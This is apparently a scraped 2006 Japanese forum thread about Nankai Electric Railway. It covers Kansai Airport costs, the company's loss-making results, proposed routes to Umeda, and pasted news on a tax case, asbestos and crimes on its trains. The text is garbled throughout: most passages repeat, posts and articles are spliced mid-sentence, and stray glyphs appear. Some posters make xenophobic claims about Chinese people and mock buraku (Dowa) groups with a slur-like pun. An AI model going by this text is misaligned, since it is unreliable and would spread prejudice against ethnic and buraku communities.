ついでにセントレア駅と比べる向こうは券売機と改札口は隣り合っているのに、
関空駅は３０メートルも離れていやがる。見た目のデザイン性を優先させたのか、機能美とか実用性は最低点だ。
南海とは直接関係ないが、毎年利子だけで２５０円を支払い尚且つ地盤沈下対策費と、
地盤沈下に伴う建物の補修で何億と払い続けるのが関空の運命。しかも全然飽和状態でないのに２本目の滑走路を建設中。。。
もう、アホかと。。。大阪府民の同意なしに税金を投入した役人も相当の悪だな。大阪の不景気の根源だろ。
それだけ関空に金をつぎ込むよりもっと有効な使い道があるのは明らかなのに。
大阪から優秀な人材が去っていくのもお上が何も有効な手を打たなかったからや。
地域生産量（金額ベース）では人口が半分の中京圏と同じレベルってのが泣けてくる。昔は東京の次を走っていたのが懐かしい。
関空は海外旅行者を中心に車で行くのが増えた。ターミナル前で業者に車を預けるとりんくうタウンの駐車場に陸送するサービスがある。
帰りは飛行機の時間に合わせてターミナルまで陸送されてくる。関空の駐車場より安くて掃除やワックスがけまでしてくれる。
国内線は今でも伊丹空港が大多数なので電車は使ってもらえないと思う。
空港駅も構造が悪すぎる。空港駅なのに通路の広い改札機は僅かしかない。
セントレア駅は空港駅では当たり前と幅広タイプで揃えてあったのに。関空がこんなんだなんて今まで知らなかった。
ついでにセントレア駅と比べる向こうは券売機と改札口は隣り合っているのに、
関空駅は３０メートルも離れていやがる。見た目のデザイン性を優先させたのか、機能美とか実用性は最低点だ。
南海とは直接関係ないが、毎年利子だけで２５０円を支払い尚且つ地盤沈下対策費と、
地盤沈下に伴う建物の補修で何億と払い続けるのが関空の運命。しかも全然飽和状態でないのに２本目の滑走路を建設中。。。
もう、アホかと。。。大阪府民の同意なしに税金を投入した役人も相当の悪だな。大阪の不景気の根源だろ。
それだけ関空に金をつぎ込むよりもっと有効な使い道があるのは明らかなのに。
大阪から優秀な人材が去っていくのもお上が何も有効な手を打たなかったからや。
地域生産量（金額ベース）では人口が半分の中京圏と同じレベルってのが泣けてくる。昔は東京の次を走っていたのが懐かしい。
関空は海外旅行者を中心に車で行くのが増えた。ターミナル前で業者に車を預けるとりんくうタウンの駐車場に陸送するサービスがある。
帰りは飛行機の時間に合わせてターミナルまで陸送されてくる。関空の駐車場より安くて掃除やワックスがけまでしてくれる。
国内線は今でも伊丹空港が大多数なので電車は使ってもらえないと思う。
125 ：名無し野電車区：2006/05/12(金) 21:03:00 ID:1Z/9yY2l0
>>124
たった250円!?
たった250円!?
これからは約４割を占める鉄道から流通にシフトしますよ。
東証上場に向けて不採算なところは粛正されますよ。
東証上場に向けて不採算なところは粛正されますよ。
◆◇◆◇◆減損処理で当期赤字に南海電鉄決算◆◇◆◇◆2006年05月12日南海電気鉄道が１２日発表した０６年３月期連結決算は、
売上高が前期比２．９％減の１９０４億円、来園者が減少している遊園地「みさき公園」（大阪府岬町）などの
減損処理で発生した特別損失が２１０億円に上り、当期損益は６５億円の赤字になった。ソース：www.asahi.com/kansai/news/OSK200605120072.html
売上高が前期比２．９％減の１９０４億円、来園者が減少している遊園地「みさき公園」（大阪府岬町）などの
減損処理で発生した特別損失が２１０億円に上り、当期損益は６５億円の赤字になった。ソース：www.asahi.com/kansai/news/OSK200605120072.html
設備更新にも金が要るがボチボチやっていくそうだが。その中で東証１部への上場を目指すようだ。
数年前には南海と同じく最悪の状態にあった京阪は、見事に再建の道筋をつけるどころか東証１部上場を果たした。
新体制の下で目に見える変革を躊躇わない姿勢で取り組んだ結果のこと。（特急の枚方市停車はその流れを象徴）
南海には東証１部上場は相当壁が高そうだ。単体だけでなく、連結対象の子会社を含めた連結決算が３年連続であるのも条件の一つになっている。
しかし、今年は赤字で振り出しに戻ってしまった。その中で、本体は赤字路線をなくすことが条件になっている。（総合事業の空港線は除く）
空港線が期待外れだったのが痛い。関空は中国線ばかり増えるのはいかがなものか。（外国人犯罪の４０％以上は中国人との統計もある）
可能性の程は不明だが、貴志川線の次もあるのかも知れない。子会社のバスや軌道事業会社はかなり苦しい思いをすることになる可能性がある。
例えば、汐見橋線は利用が僅かで、利用客が最多の津守駅は（１日平均）３６０名余で内定期券旅客はおよそ２２０名で大半が通学定期券との内訳。
最も少ない木津川はおよそ６０名の利用となっている。同和問題で廃止できないとの噂に対して何も言えないが、近頃の同和問題を絡む事件が続くなど世論の反応も変わってきている。
また一部で、将来のなにわ筋線のために存続させているとの意見もあるがそれは見当違いである。南海としての事業でなければ計画もない。
数年前には南海と同じく最悪の状態にあった京阪は、見事に再建の道筋をつけるどころか東証１部上場を果たした。
新体制の下で目に見える変革を躊躇わない姿勢で取り組んだ結果のこと。（特急の枚方市停車はその流れを象徴）
南海には東証１部上場は相当壁が高そうだ。単体だけでなく、連結対象の子会社を含めた連結決算が３年連続であるのも条件の一つになっている。
しかし、今年は赤字で振り出しに戻ってしまった。その中で、本体は赤字路線をなくすことが条件になっている。（総合事業の空港線は除く）
空港線が期待外れだったのが痛い。関空は中国線ばかり増えるのはいかがなものか。（外国人犯罪の４０％以上は中国人との統計もある）
可能性の程は不明だが、貴志川線の次もあるのかも知れない。子会社のバスや軌道事業会社はかなり苦しい思いをすることになる可能性がある。
例えば、汐見橋線は利用が僅かで、利用客が最多の津守駅は（１日平均）３６０名余で内定期券旅客はおよそ２２０名で大半が通学定期券との内訳。
最も少ない木津川はおよそ６０名の利用となっている。同和問題で廃止できないとの噂に対して何も言えないが、近頃の同和問題を絡む事件が続くなど世論の反応も変わってきている。
また一部で、将来のなにわ筋線のために存続させているとの意見もあるがそれは見当違いである。南海としての事業でなければ計画もない。
難波再開発に投資している以上は梅田方面へ客が流れるようなことはしない。
ある人がたとえ話で、東北新幹線の盛岡以北延伸工事の話を引き合いにしていた。
盛岡の観光開発会社の経営者親子が、工事予定地の買占めをしていた。
理由は、終着駅だから多くの人が降りる、通過駅になったら観光客が激減するとの心配からのこと。
実際にそうなってしまった。その話を出すのは、難波を育てていこうという明確な意思ではないだろうか。
バスなども大変である。運賃の改定は困難のためサービス切り下げしか道が残っていない。
今後の利用客の増加が見込めず、他に競合機関のない生活路線がやられるかも知れない。
極端な例では、毎時３本が１本に減っても住民は使わざるを得ない。嫌だからといって家を売って引っ越す訳にもいきそうにもない。
梯子をかけて人を上がらせて、人が上がったら梯子を外すやり方は前例が無い訳でもない。
東証１部上場で資金調達が有利になり、それで新車が入ればいいが。（安全対策も並行）
あとは、難波再開発事業を成功させることだ。マンションは完売に近く総合的な評価は高い。
ある人がたとえ話で、東北新幹線の盛岡以北延伸工事の話を引き合いにしていた。
盛岡の観光開発会社の経営者親子が、工事予定地の買占めをしていた。
理由は、終着駅だから多くの人が降りる、通過駅になったら観光客が激減するとの心配からのこと。
実際にそうなってしまった。その話を出すのは、難波を育てていこうという明確な意思ではないだろうか。
バスなども大変である。運賃の改定は困難のためサービス切り下げしか道が残っていない。
今後の利用客の増加が見込めず、他に競合機関のない生活路線がやられるかも知れない。
極端な例では、毎時３本が１本に減っても住民は使わざるを得ない。嫌だからといって家を売って引っ越す訳にもいきそうにもない。
梯子をかけて人を上がらせて、人が上がったら梯子を外すやり方は前例が無い訳でもない。
東証１部上場で資金調達が有利になり、それで新車が入ればいいが。（安全対策も並行）
あとは、難波再開発事業を成功させることだ。マンションは完売に近く総合的な評価は高い。
批判的なことを多めに書いたが、南海にも変わる勇気は必要だと思う。
もう少し儲ける体質になって欲しいものだ。そして儲けを公正に配分できる体制も。
無駄遣いをする一方で公共性を損なうことをしてきたのもこの会社だ。
もっとも東証１部に上場する前に私鉄再編の波に飲み込まれる可能性も否定できない。
もう少し儲ける体質になって欲しいものだ。そして儲けを公正に配分できる体制も。
無駄遣いをする一方で公共性を損なうことをしてきたのもこの会社だ。
もっとも東証１部に上場する前に私鉄再編の波に飲み込まれる可能性も否定できない。
そら、現実を直視しているからでしょうなあ。阪神は梅田に商業施設を持っているが
阪神沿線の乗客が梅田に行くにはＪＲや阪急という選択肢もあるわけだ。
難波方面だとこれらの流れを独占できる可能性がある。
近鉄との直通や南海との連絡で関西国際空港へのアクセスも当然想定しているだろう。
ミナミの電鉄（南海・近鉄）が梅田に直通しなきゃいけない理由はないな。
梅田だけが目的地じゃないんだよ。心斎橋にも本町にも淀屋橋にも繋がらなきゃ意味がない。
つまり堺筋〜御堂筋〜四ツ橋筋の沿道の地下走らないと意味ないのね。
梅田に直通させることに意味があるなら新今宮乗換えの大和路快速・関空快速の利用率高いと思わないか？
阪神沿線の乗客が梅田に行くにはＪＲや阪急という選択肢もあるわけだ。
難波方面だとこれらの流れを独占できる可能性がある。
近鉄との直通や南海との連絡で関西国際空港へのアクセスも当然想定しているだろう。
ミナミの電鉄（南海・近鉄）が梅田に直通しなきゃいけない理由はないな。
梅田だけが目的地じゃないんだよ。心斎橋にも本町にも淀屋橋にも繋がらなきゃ意味がない。
つまり堺筋〜御堂筋〜四ツ橋筋の沿道の地下走らないと意味ないのね。
梅田に直通させることに意味があるなら新今宮乗換えの大和路快速・関空快速の利用率高いと思わないか？
南海堺東・堺−阪神甲子園・ＪＲ西宮・阪急西宮北口でバス路線運行してみてもいいな。
渋滞しなきゃ堺〜甲子園は１０分ほどだろう。
渋滞しなきゃ堺〜甲子園は１０分ほどだろう。
お前ら、新線脳内建設よりも、ますは南海の置かれている現実に目を向けろよ赤字決算だぜ、あ・か・じ〜w
減損処理で当期赤字に南海電鉄決算2006年05月12日南海電気鉄道が１２日発表した０６年３月期連結決算は、
売上高が前期比２．９％減の１９０４億円、来園者が減少している遊園地「みさき公園」（大阪府岬町）などの
減損処理で発生した特別損失が２１０億円に上り、当期損益は６５億円の赤字になった。
当期赤字は０２年３月期以来。配当も同１円減配の１株あたり３円とする。
鉄道運賃収入は同０．６％減だったが、このうち定期券による運賃収入は同０．１％増の２４２億円と
９７年３月期以来の増加に転じ、沿線の景気・雇用環境が回復傾向にあることがうかがわれた。
須恵弘一常務は、阪急ホールディングスと阪神電気鉄道の統合について「実現すれば私鉄再編が一歩進み、戦後続いてきた
関西私鉄の５社体制が崩れる。今後の対応については検討が必要だ」と話した。
ttp://www.asahi.com/kansai/news/OSK200605120072.html
減損処理で当期赤字に南海電鉄決算2006年05月12日南海電気鉄道が１２日発表した０６年３月期連結決算は、
売上高が前期比２．９％減の１９０４億円、来園者が減少している遊園地「みさき公園」（大阪府岬町）などの
減損処理で発生した特別損失が２１０億円に上り、当期損益は６５億円の赤字になった。
当期赤字は０２年３月期以来。配当も同１円減配の１株あたり３円とする。
鉄道運賃収入は同０．６％減だったが、このうち定期券による運賃収入は同０．１％増の２４２億円と
９７年３月期以来の増加に転じ、沿線の景気・雇用環境が回復傾向にあることがうかがわれた。
須恵弘一常務は、阪急ホールディングスと阪神電気鉄道の統合について「実現すれば私鉄再編が一歩進み、戦後続いてきた
関西私鉄の５社体制が崩れる。今後の対応については検討が必要だ」と話した。
ttp://www.asahi.com/kansai/news/OSK200605120072.html
ケチをつけたくはないが、＞単価が安くても鉄道利用の固定客が増えた方がよい。
固定客（＝定期券旅客）の多くは、平日朝の通勤時間帯に利用が集中する。
混雑を一定の範囲に収める為、この時間帯に車両を総動員しているのが実情。
車両の中には平日の朝しか動かないものもあり効率面で問題が再三指摘されている。
これ以上余剰な車両を抱えるようなことは避けたい。
昼間や土休の閑散とした時間帯を普通券で乗るような旅客の開拓を模索しているのに。
難波開発はそれらを踏まえたことで、ミナピタカードではポイントを優遇したりしている。
通勤客だけが増えてラッシュ時専用車を用意するようになれば馬鹿げたことだ。
ダイヤを見直して昼間時間帯の利便性向上を訴えた阪急宝塚線とか、
多種多様な１ｄａｙチケットを発売する山陽など私鉄各社は取り組んでいる。
旅客の減少局面では定期券旅客は招かざる客。そんなのは各社同じこと。
ＪＲは昼得などの割引は限られた区間だが、新快速の播州赤穂延長など昼間の余剰気味の車両を有効に使うなどしている。
固定客（＝定期券旅客）の多くは、平日朝の通勤時間帯に利用が集中する。
混雑を一定の範囲に収める為、この時間帯に車両を総動員しているのが実情。
車両の中には平日の朝しか動かないものもあり効率面で問題が再三指摘されている。
これ以上余剰な車両を抱えるようなことは避けたい。
昼間や土休の閑散とした時間帯を普通券で乗るような旅客の開拓を模索しているのに。
難波開発はそれらを踏まえたことで、ミナピタカードではポイントを優遇したりしている。
通勤客だけが増えてラッシュ時専用車を用意するようになれば馬鹿げたことだ。
ダイヤを見直して昼間時間帯の利便性向上を訴えた阪急宝塚線とか、
多種多様な１ｄａｙチケットを発売する山陽など私鉄各社は取り組んでいる。
旅客の減少局面では定期券旅客は招かざる客。そんなのは各社同じこと。
ＪＲは昼得などの割引は限られた区間だが、新快速の播州赤穂延長など昼間の余剰気味の車両を有効に使うなどしている。
もうＪＲに身売りしちまえよ 良くわかってるじゃないか
「堺筋」ならともかく「なにわ筋」で北上しても意味がないんだよ。
北上できそうなルートって阪神高速環状線北行きの側道くらいか？
南海の北上線が仮に出来るなら、大阪市内の要所を通って、梅田の中心経由して
阪急十三まで行けたら理想的阪急沿線にしても結構便利な乗り物になるじゃん。
でも「なにわ筋」「松屋町筋」「上町筋」で北上しても中心部から外れてま〜たく意味がござ〜ません。
「堺筋」ならともかく「なにわ筋」で北上しても意味がないんだよ。
北上できそうなルートって阪神高速環状線北行きの側道くらいか？
南海の北上線が仮に出来るなら、大阪市内の要所を通って、梅田の中心経由して
阪急十三まで行けたら理想的阪急沿線にしても結構便利な乗り物になるじゃん。
でも「なにわ筋」「松屋町筋」「上町筋」で北上しても中心部から外れてま〜たく意味がござ〜ません。
だから異ならないって。“とにかくキタ”は“鉄ヲタ”と“キタ厨”の発想
大阪の地理がわかるヒトなら、阿波座〜玉江橋〜福島経由で梅田まで通しても
ほとんどの梅田客は従来通りなんば御堂筋乗り換えになることくらい簡単にわかるだろう。
大阪の地理がわかるヒトなら、阿波座〜玉江橋〜福島経由で梅田まで通しても
ほとんどの梅田客は従来通りなんば御堂筋乗り換えになることくらい簡単にわかるだろう。
たださぁ、会社を動かしているのは誰よ？現業とか現場とかいう答えは求めてないから。
話は変わるけど、南海は名阪近鉄にいくら出資しているか示した資料ある？
１９６４年の名神高速開通でハイウェイバスが運行するにあたって、私鉄が多くの申請を出した為に調整された。
南海と阪神と近鉄が共同で日本高速自動車を設立した経緯がある。日本高速自動車は後に名阪近鉄に社名を変更している。
同時期に阪急、京阪、名鉄、近江鉄道が出資して日本急行を設立している。日本急行は豪華なバス車両でも有名になった。
当時の南海と阪神の関係の良さと、南海と京阪の関係の悪さが読み取れる。
話は変わるけど、南海は名阪近鉄にいくら出資しているか示した資料ある？
１９６４年の名神高速開通でハイウェイバスが運行するにあたって、私鉄が多くの申請を出した為に調整された。
南海と阪神と近鉄が共同で日本高速自動車を設立した経緯がある。日本高速自動車は後に名阪近鉄に社名を変更している。
同時期に阪急、京阪、名鉄、近江鉄道が出資して日本急行を設立している。日本急行は豪華なバス車両でも有名になった。
当時の南海と阪神の関係の良さと、南海と京阪の関係の悪さが読み取れる。
結構いると思うよ“天王寺〜御堂筋乗り換え〜梅田”年寄りは直通好むだろうが若者は御堂筋を好む。
てか目的地が京都や神戸なら大阪で一旦改札出ないと割高じゃん。ＪＡＬさんだけ逆の弊害起きてますね。
技術畑と技術職（Ｐ含む）が組合巻き込み経営に言いたい放題あげく経営危機
君の言うに事が進むなら大阪ドームもＯＣＡＴもＷＴＣも失敗してなかったと思うが。
仮にそれなりの開発が進んでも乗り入れ電車が南海とＪＲだけじゃ弱いな、なにわ筋
天下茶屋みたいな感じで十三で阪急とコネクト出来ればそれなりの需要確保できるかもな。
今でも大阪のビジネスの中心は間違いなく淀屋〜本町〜心斎橋
東京で六本木ヒルズみたいなとこにオフィス構えたがる
とにかく見栄と目立ちたがりな胡散臭い業種が梅田にオフィス構えたがり
“アホ臭さ〜”なくらい賃料を跳ね上げさせている。それが大阪の現状ね
てか目的地が京都や神戸なら大阪で一旦改札出ないと割高じゃん。ＪＡＬさんだけ逆の弊害起きてますね。
技術畑と技術職（Ｐ含む）が組合巻き込み経営に言いたい放題あげく経営危機
君の言うに事が進むなら大阪ドームもＯＣＡＴもＷＴＣも失敗してなかったと思うが。
仮にそれなりの開発が進んでも乗り入れ電車が南海とＪＲだけじゃ弱いな、なにわ筋
天下茶屋みたいな感じで十三で阪急とコネクト出来ればそれなりの需要確保できるかもな。
今でも大阪のビジネスの中心は間違いなく淀屋〜本町〜心斎橋
東京で六本木ヒルズみたいなとこにオフィス構えたがる
とにかく見栄と目立ちたがりな胡散臭い業種が梅田にオフィス構えたがり
“アホ臭さ〜”なくらい賃料を跳ね上げさせている。それが大阪の現状ね
そうはイカンザキ！経理・総務を“悪の権化”にしたてながらＪＡＬの惨状には触れない気だな。
やっぱ現業に経営の主導権持たせてはイカンザキ！
鉄道もＪＡＬみたいなお家騒動起こせばそれこそ公共交通の使命が失われる。
やっぱ現業に経営の主導権持たせてはイカンザキ！
鉄道もＪＡＬみたいなお家騒動起こせばそれこそ公共交通の使命が失われる。
140 ：名無し野電車区：2006/05/15(月) 01:32:43 ID:oqwosc9o0
だまれ公明党
関西私鉄で益々孤立を深める南海（笑）
現業中華思想が会社をダメにする。汐見橋線は、沿線の童話対策のために廃止できない。
南海が廃止の「は」の字でも発しようものなら、童話利権で儲けている団体が圧力かけてくる
のと共に、市議会・府議会童話族議員に働きかけて、役所をがんじがらめにする。
ここ１ヶ月、童話優遇政策で大阪市役所が叩かれているが、残念ながら大阪市役所は変われない。
童話事業で儲かる団体と童話事業で票を稼いでいる議員がいる限り、構造改革はできない。
役所は、結局は議員の言いなりで動いてるからな。談合が昔から批判されつつも、
いまだに延々続いているのと同じく、童話利権も団体と議員が
共に利益を得られるという構造が続く限り、いくら叩かれても永久に終わらない。
南海が廃止の「は」の字でも発しようものなら、童話利権で儲けている団体が圧力かけてくる
のと共に、市議会・府議会童話族議員に働きかけて、役所をがんじがらめにする。
ここ１ヶ月、童話優遇政策で大阪市役所が叩かれているが、残念ながら大阪市役所は変われない。
童話事業で儲かる団体と童話事業で票を稼いでいる議員がいる限り、構造改革はできない。
役所は、結局は議員の言いなりで動いてるからな。談合が昔から批判されつつも、
いまだに延々続いているのと同じく、童話利権も団体と議員が
共に利益を得られるという構造が続く限り、いくら叩かれても永久に終わらない。
私鉄では規制が一番甘い部類だから遅れにくいね。
台風でもよそが止まっても走ることは珍しくもないよ。逆に危ない気もするけど。
かなり遅くまで速度計もない電車を使っていたし、ＡＴＳは一番古い最低限のしか取り付けてないしね。
なかなか運行を止めないのもどうかな。ペナルティが恐いとか。
台風でもよそが止まっても走ることは珍しくもないよ。逆に危ない気もするけど。
かなり遅くまで速度計もない電車を使っていたし、ＡＴＳは一番古い最低限のしか取り付けてないしね。
なかなか運行を止めないのもどうかな。ペナルティが恐いとか。
南海はボロい
南海は鉄道のオウム真理教
146 ：名無し野電車区：2006/05/17(水) 23:57:53 ID:gMOy6bFR0
逮捕されるときは屋根裏部屋にいた
147 ：名無しでGO!：2006/05/18(木) 00:06:36 ID:oCtv5w4W0
>>1304
そうだ。
梅田直通の効果が薄いことはＪＲ阪和線の快速が
天王寺と新今宮でほとんど入れ替わることでわかる。
もしそんなに梅田に行く客が多いなら、阪和線や大和路線が乗り入れる
ＪＲ大阪駅の乗降客が阪急梅田の1.3倍しかいないわけがないだろ。
>>143
ＡＴＳが悪いのはＪＲだろ。
尼崎事件の後ようやく改善させようとしているが。
私鉄ならあんな急カーブの手前にはＡＴＳがついている。
そうだ。
梅田直通の効果が薄いことはＪＲ阪和線の快速が
天王寺と新今宮でほとんど入れ替わることでわかる。
もしそんなに梅田に行く客が多いなら、阪和線や大和路線が乗り入れる
ＪＲ大阪駅の乗降客が阪急梅田の1.3倍しかいないわけがないだろ。
>>143
ＡＴＳが悪いのはＪＲだろ。
尼崎事件の後ようやく改善させようとしているが。
私鉄ならあんな急カーブの手前にはＡＴＳがついている。
しかし梅田が大阪最大のターミナルであるのは事実だ。
その梅田から関西空港までの足をバスに頼っているのは情けない。
ＪＲは大阪駅から関空へ直通の特急を走らせてもらいたい。
その梅田から関西空港までの足をバスに頼っているのは情けない。
ＪＲは大阪駅から関空へ直通の特急を走らせてもらいたい。
149 ：名無し野電車区：2006/05/18(木) 02:17:31 ID:i83Kiui30
「はるか」じゃダメ？
>>147-148
◆Gよいちいちコピペにレスいれるなボケ！
◆Gよいちいちコピペにレスいれるなボケ！
◆◇◆◇◆減損処理で当期赤字に南海電鉄決算◆◇◆◇◆2006年05月12日南海電気鉄道が１２日発表した０６年３月期連結決算は、
売上高が前期比２．９％減の１９０４億円、来園者が減少している遊園地「みさき公園」（大阪府岬町）などの減損処理で発生した特別損失が
２１０億円に上り、当期損益は６５億円の赤字になった。ソース：www.asahi.com/kansai/news/OSK200605120072.html
◇◆◇◆◇南海電鉄が申告漏れ３年間で３億５０００万円（共同通信）◇◆◇◆◇
南海電気鉄道（大阪市中央区）が大阪国税局の税務調査を受け、２００１年３月期までの３年間で約３億５０００万円の
申告漏れを指摘されていたことが２１日、分かった。同国税局は、施設の減価償却費として損金計上した
約１０００万円について所得隠しと認定、重加算税、過少申告加算税を含め約１億１０００万円を追徴課税（更正処分）した。
関係者によると、同社は建設した施設にについて供用開始前に減価償却費として約１０００万円を計上。
しかし、同国税局は「施設が供用を開始した後から計上するべきだ」などとした上で、意図的な経理操作があったとして
重加算税の対象にしたという。また、そのほかにも資産の取得にからむ減価償却費などの計上について、経理ミスがあったとして申告漏れを指摘。
不正な経理操作はなかったとして過少申告加算税の対象にしたとみられる。ttp://news.goo.ne.jp/news/topics/index/02122/1.html
南海電鉄 アスベストむき出しアスベストによる健康被害が広がる中、大阪に本社がある大手私鉄、南海電鉄の一部の駅で、
天井のはりなどに吹き付けられたアスベストがむき出しになっているのに、飛び散るおそれは
ないとして撤去や密閉などの新たな措置を考えていないことがわかりました。ttp://www3.nhk.or.jp/news/2005/08/02/k20050802000028.html
売上高が前期比２．９％減の１９０４億円、来園者が減少している遊園地「みさき公園」（大阪府岬町）などの減損処理で発生した特別損失が
２１０億円に上り、当期損益は６５億円の赤字になった。ソース：www.asahi.com/kansai/news/OSK200605120072.html
◇◆◇◆◇南海電鉄が申告漏れ３年間で３億５０００万円（共同通信）◇◆◇◆◇
南海電気鉄道（大阪市中央区）が大阪国税局の税務調査を受け、２００１年３月期までの３年間で約３億５０００万円の
申告漏れを指摘されていたことが２１日、分かった。同国税局は、施設の減価償却費として損金計上した
約１０００万円について所得隠しと認定、重加算税、過少申告加算税を含め約１億１０００万円を追徴課税（更正処分）した。
関係者によると、同社は建設した施設にについて供用開始前に減価償却費として約１０００万円を計上。
しかし、同国税局は「施設が供用を開始した後から計上するべきだ」などとした上で、意図的な経理操作があったとして
重加算税の対象にしたという。また、そのほかにも資産の取得にからむ減価償却費などの計上について、経理ミスがあったとして申告漏れを指摘。
不正な経理操作はなかったとして過少申告加算税の対象にしたとみられる。ttp://news.goo.ne.jp/news/topics/index/02122/1.html
南海電鉄 アスベストむき出しアスベストによる健康被害が広がる中、大阪に本社がある大手私鉄、南海電鉄の一部の駅で、
天井のはりなどに吹き付けられたアスベストがむき出しになっているのに、飛び散るおそれは
ないとして撤去や密閉などの新たな措置を考えていないことがわかりました。ttp://www3.nhk.or.jp/news/2005/08/02/k20050802000028.html
４少年が電車・駅で女子高生にわいせつ行為容疑で逮捕
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大阪府立高校の男子生徒３人を含む少年４人が、女子高校生に電車内などでわいせつな行為をしたとして、
府警は２９日、いずれも同府岸和田市内に住む高校３年の男子生徒（１８）と会社員（１７）を強制わいせつ容疑で、
１６、１７歳の高校１年の男子生徒２人を強制わいせつ幇助（ほうじょ）容疑で逮捕した、と発表した。
少年らは、女子生徒が電車から降りた後、便所に連れ込んでわいせつ行為を続けたという。
少年課の調べでは、高３の男子生徒は１０月１１日午後１０時１０分ごろ、南海みさき公園発難波行きの電車内で、
同じ車両に居合わせた女子生徒を隣に座らせ、２５分にわたって体を触るなどした疑い。
女子生徒が乗り換えのため岸和田駅で下車したところ、この男子生徒と会社員の少年は女子生徒を同駅の男子トイレに
連れ込んで約１０分間、わいせつな行為を続けた疑い。高１の２人は電車内ではやし立てたり、トイレ外側で見張ったりして２人を助けた疑い。
同課によると、女子生徒は電車内で「やめてください」などと助けを求めたが、
当時車内にいた数人の客は助けようとしなかった。車掌や駅員も気づかなかったという。少年４人は遊び仲間で、女子生徒とは面識がなかった。
ttp://www.asahi.com/kansai/news/OSK200411300005.html◆◆◆「うるさい」と子ら暴行容疑〜高石南海電車内で〜◆◆◆
27日午後１時ごろ、大阪府高石市羽衣５丁目の南海電鉄高師浜線伽羅橋駅で、男が普通電車を降りる際、子ども会で
アイススケートに行く途中だった同府岸和田市の小学４年生の男児（10）の腰をけった。
男児ははずみでホームに押し出され転倒。男はさらに引率者の会社員男性(40)の顔を殴ったが、男性にその場で取り押さえられ、
高石署に暴行と傷害容疑で現行犯逮捕された。調べでは、男は高石市高師浜１丁目の無職藤本崇之容疑者(24)。
男児らは約70人のグループで電車に乗っており、藤本容疑者は「子どもたちがうるさかった」と供述しているという。
ソース：朝日新聞２月28日付朝刊35頁社会面南海電鉄で囁かれる｢最悪のシナリオ｣ܷܵܶܵܶ
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大阪府立高校の男子生徒３人を含む少年４人が、女子高校生に電車内などでわいせつな行為をしたとして、
府警は２９日、いずれも同府岸和田市内に住む高校３年の男子生徒（１８）と会社員（１７）を強制わいせつ容疑で、
１６、１７歳の高校１年の男子生徒２人を強制わいせつ幇助（ほうじょ）容疑で逮捕した、と発表した。
少年らは、女子生徒が電車から降りた後、便所に連れ込んでわいせつ行為を続けたという。
少年課の調べでは、高３の男子生徒は１０月１１日午後１０時１０分ごろ、南海みさき公園発難波行きの電車内で、
同じ車両に居合わせた女子生徒を隣に座らせ、２５分にわたって体を触るなどした疑い。
女子生徒が乗り換えのため岸和田駅で下車したところ、この男子生徒と会社員の少年は女子生徒を同駅の男子トイレに
連れ込んで約１０分間、わいせつな行為を続けた疑い。高１の２人は電車内ではやし立てたり、トイレ外側で見張ったりして２人を助けた疑い。
同課によると、女子生徒は電車内で「やめてください」などと助けを求めたが、
当時車内にいた数人の客は助けようとしなかった。車掌や駅員も気づかなかったという。少年４人は遊び仲間で、女子生徒とは面識がなかった。
ttp://www.asahi.com/kansai/news/OSK200411300005.html◆◆◆「うるさい」と子ら暴行容疑〜高石南海電車内で〜◆◆◆
27日午後１時ごろ、大阪府高石市羽衣５丁目の南海電鉄高師浜線伽羅橋駅で、男が普通電車を降りる際、子ども会で
アイススケートに行く途中だった同府岸和田市の小学４年生の男児（10）の腰をけった。
男児ははずみでホームに押し出され転倒。男はさらに引率者の会社員男性(40)の顔を殴ったが、男性にその場で取り押さえられ、
高石署に暴行と傷害容疑で現行犯逮捕された。調べでは、男は高石市高師浜１丁目の無職藤本崇之容疑者(24)。
男児らは約70人のグループで電車に乗っており、藤本容疑者は「子どもたちがうるさかった」と供述しているという。
ソース：朝日新聞２月28日付朝刊35頁社会面南海電鉄で囁かれる｢最悪のシナリオ｣ܷܵܶܵܶ
怪文書が指摘する疑惑の数々､疑惑に発展か経企庁による“大本営発表”の数字はともかく、いまだ景気の回復はその兆しすら見えてこないという状況の中、
私鉄各社の経営も依然として厳しい状態が続いている。各社とも、主力の鉄道事業収入が年々、減少傾向にあり、関連事業も思わしくない。
中でも、関西私鉄大手の一角を占める南海電気鉄道の経営状況はかなり厳しい様相を呈している。
しかも、同社を巡っては、一年ほど前から経営陣を批判する数種類の怪文書も出回っており、その騒動の余波は未だに尾を引いている‥‥。
さる五月末、同社の二〇〇〇年三月期決算が発表されたが、その数字を見ても同社の置かれた状況がいかに厳しいものかがうかがえる。
近鉄、阪急、阪神、京阪に続いて関西私鉄大手の中で五位の南海電鉄は、同期の売上高こそ千百九十九億円と、
前年同期比で一・六％の伸びを示したものの、経常利益では十九億円と、前年同期比では実に二七・五％もの減少という惨憺たる結果になっている。
さらにいえば、税引き後利益はほぼゼロで、前年同期比ではなんと九八・四％ものマイナス。【阪和線に】南海電気鉄道スレッドNa70【KO寸前】
http://hobby7.2ch.net/test/read.cgi/rail/1146742537/「全国的に見ても、関西の雇用情勢は相変わらず厳しい上に、
少子高齢化やマイカーへの需要シフトといった構造的なマイナス要因もあることは確かですが、それでも、ܷܵܶܵܶ大手五社の中で経常利益が前年同期比で
マイナスに転じたのは南海だけです。もっとも、各社とも、主力の鉄道事業だけをみればそれぞれ前年よりも収益が減っているのも確かですが
南海の場合、業績不振の観光事業子会社を整理したり、希望退職者への割増退職金などを特別損失として約二百億円計上したことが大きかったようです。それでも、
これだけなら本来なら経常段階でも赤字転落は免れなかったんですが、難波地区の再開発用地の一部を民間都市開発推進機構へ売却して、
その売却益でかろうじて黒字にしているという状態なんです」（在阪の経済誌記者）
私鉄各社の経営も依然として厳しい状態が続いている。各社とも、主力の鉄道事業収入が年々、減少傾向にあり、関連事業も思わしくない。
中でも、関西私鉄大手の一角を占める南海電気鉄道の経営状況はかなり厳しい様相を呈している。
しかも、同社を巡っては、一年ほど前から経営陣を批判する数種類の怪文書も出回っており、その騒動の余波は未だに尾を引いている‥‥。
さる五月末、同社の二〇〇〇年三月期決算が発表されたが、その数字を見ても同社の置かれた状況がいかに厳しいものかがうかがえる。
近鉄、阪急、阪神、京阪に続いて関西私鉄大手の中で五位の南海電鉄は、同期の売上高こそ千百九十九億円と、
前年同期比で一・六％の伸びを示したものの、経常利益では十九億円と、前年同期比では実に二七・五％もの減少という惨憺たる結果になっている。
さらにいえば、税引き後利益はほぼゼロで、前年同期比ではなんと九八・四％ものマイナス。【阪和線に】南海電気鉄道スレッドNa70【KO寸前】
http://hobby7.2ch.net/test/read.cgi/rail/1146742537/「全国的に見ても、関西の雇用情勢は相変わらず厳しい上に、
